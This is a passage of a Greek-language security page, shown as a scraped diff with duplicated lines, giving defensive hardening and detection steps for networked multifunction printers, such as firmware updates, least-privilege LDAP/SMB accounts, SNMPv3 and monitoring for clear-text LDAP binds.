||||
## Σκληροποίηση & Ανίχνευση
|
||||
|
||||
1. **Ενημέρωση / αναβάθμιση firmware** MFPs άμεσα (ελέγξτε τα δελτία PSIRT του προμηθευτή).
|
||||
2. **Λογαριασμοί Υπηρεσιών Ελάχιστης Προνομίας** – ποτέ μην χρησιμοποιείτε Domain Admin για LDAP/SMB/SMTP; περιορίστε σε *μόνο-ανάγνωση* πεδία OU.
|
||||
1. **Διορθώστε / ενημερώστε το firmware** των MFPs άμεσα (ελέγξτε τα δελτία PSIRT του προμηθευτή).
|
||||
2. **Λογαριασμοί Υπηρεσιών Ελάχιστης Προνομίας** – ποτέ μην χρησιμοποιείτε Domain Admin για LDAP/SMB/SMTP; περιορίστε σε *μόνο-ανάγνωση* OU scopes.
|
||||
3. **Περιορίστε την Πρόσβαση Διαχείρισης** – τοποθετήστε τις διεπαφές εκτυπωτών web/IPP/SNMP σε ένα VLAN διαχείρισης ή πίσω από ένα ACL/VPN.
|
||||
4. **Απενεργοποιήστε Μη Χρησιμοποιούμενα Πρωτόκολλα** – FTP, Telnet, raw-9100, παλαιότερους κρυπτογράφους SSL.
|
||||
5. **Ενεργοποιήστε την Καταγραφή Ελέγχου** – ορισμένες συσκευές μπορούν να καταγράφουν αποτυχίες LDAP/SMTP; συσχετίστε απροσδόκητες συνδέσεις.
|
||||
6. **Παρακολουθήστε για Συνδέσεις LDAP σε Καθαρό Κείμενο** από ασυνήθιστες πηγές (οι εκτυπωτές θα πρέπει κανονικά να επικοινωνούν μόνο με DCs).
|
||||
5. **Ενεργοποιήστε την Καταγραφή Ελέγχου** – ορισμένες συσκευές μπορούν να syslog LDAP/SMTP αποτυχίες; συσχετίστε απροσδόκητα binds.
|
||||
6. **Παρακολουθήστε για Clear-Text LDAP binds** από ασυνήθιστες πηγές (οι εκτυπωτές θα πρέπει κανονικά να επικοινωνούν μόνο με DCs).
|
||||
7. **SNMPv3 ή απενεργοποιήστε το SNMP** – η κοινότητα `public` συχνά διαρρέει τη διαμόρφωση συσκευής & LDAP.
|
||||
|
||||
---
|
||||
|
Loading…
x
Reference in New Issue
Block a user